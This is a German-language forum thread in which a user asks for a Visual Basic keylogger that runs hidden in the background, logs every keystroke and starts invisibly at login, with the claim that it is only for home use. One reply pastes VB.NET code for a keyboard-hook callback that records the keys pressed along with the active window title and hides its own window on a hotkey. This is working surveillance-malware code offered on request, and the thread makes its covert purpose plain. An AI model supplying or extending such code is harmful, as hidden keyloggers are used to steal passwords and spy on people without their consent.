hey kann mir jdm in kleines Tutourial für einen Keylogger mit Visual Basic geben?

Er sollte folgende Funktionen haben:

- Versteckt im Hintergrund laufen (Meinetwegen kann er vom Taskmanager gesehen werden)
-Alle Tastenberührungen speichern
-Er sollte sich am Anfang automatisch versteckt öffnen

Ich will das für den Heimgebrauch nutzen nichts illegales sonst hätte ich geschrieben, dass man es im Taskmaager sehen darf.

Danke im Voraus,

Liebe Grüße,

Habaya

Die Suche hier im Forum hätte dich auf folgendes Tutorial hingewiesen: Tut auf ActiveVB.


Der Doc!

Das habe ich bereits angeschaut gehabt, doch es hat mir nicht weitergeholfen.

Auch die Downloads waren für eine ältere Version von VB gedacht...


Kann mir jemand einen Code zeigen und erklären für was die Codes stehen..?

Ich habe das bisher so angefangen bevor das Coden kam:

Neues Projekt>TextBox>Eigenschaftenfenster>Multiline>True>Readon>True>Timer>Eigenschaftsfenster>Enabled>Tr ue>Interval>2

Dann habe ich einen Doppelklick auf Timer 1 gemacht und jetzt brauche ich den Code.


Liebe Grüße

Habaya

Der Code steht doch im Tutorial, füge den einfach ein.
Ein wenig Selbstinitiative ist nicht schlecht, wenn der runtergeladene Code nicht gleich funktioniert.

Zitat von Habaya

Auch die Downloads waren für eine ältere Version von VB gedacht...

Was für eine Version hast du denn?

Ich habe Visual Basic 2008 Express Edition...


Ich werde heute Mittag das mit dem Code probieren.

Gut, dann bitten ich mal einen Admin das ganze ins VB.Net.Forum zu verschieben. Denn hier kriegst du VB6-Lösungen die du aber nicht brauchen kannst.

Dritte Google-Treffer: Tutorial - Programming a Keylogger - VB.NET

Code :

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102

1.       Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer    2.            3.       'Get current foreground window title    4.       Dim CurrentTitle = GetActiveWindowTitle()    5.            6.       'If title of the foreground window changed    7.       If CurrentTitle <> LastCheckedForegroundTitle Then    8.       LastCheckedForegroundTitle = CurrentTitle    9.       'Add a little header containing the application title and date   10.       KeyLog &= vbCrLf & "----------- " & CurrentTitle & " (" & Now.ToString() & ") ------------" & vbCrLf   11.       End If   12.           13.       'Variable to hold the text describing the key pressed   14.       Dim Key As String = ""   15.           16.       'If event is KEYDOWN   17.       If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then   18.           19.       'If we can block events   20.       If Code >= 0 Then   21.       'If Ctrl+Alt+S   22.       If My.Computer.Keyboard.CtrlKeyDown And My.Computer.Keyboard.AltKeyDown And lParam.vkCode = virtualKey.K_S Then   23.       Me.Visible = Not Me.Visible 'Hide/Show form   24.       Return 1 'Block event   25.       End If   26.       End If   27.           28.       'Translate virtual key into character/expression   29.       Select Case lParam.vkCode   30.       Case virtualKey.K_0 To virtualKey.K_9   31.       Key = ChrW(lParam.vkCode)   32.       Case virtualKey.K_A To virtualKey.K_Z   33.       Key = ChrW(lParam.vkCode + 32)   34.       End Select   35.       End If   36.           37.       'Add it to the log   38.       KeyLog &= Key   39.           40.       Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam) 'Let event go to the other applications   41.           42.       End Function   43.           44.       Private Function GetActiveWindowTitle() As String   45.       Dim MyStr As String   46.       MyStr = New String(Chr(0), 100)   47.       GetWindowText(GetForegroundWindow, MyStr, 100)   48.       MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)   49.           50.       Return MyStr   51.       End Function

ist das der Code für einen keylogger, der sich automatisch beim Anmelden nicht sichtbar öffnet?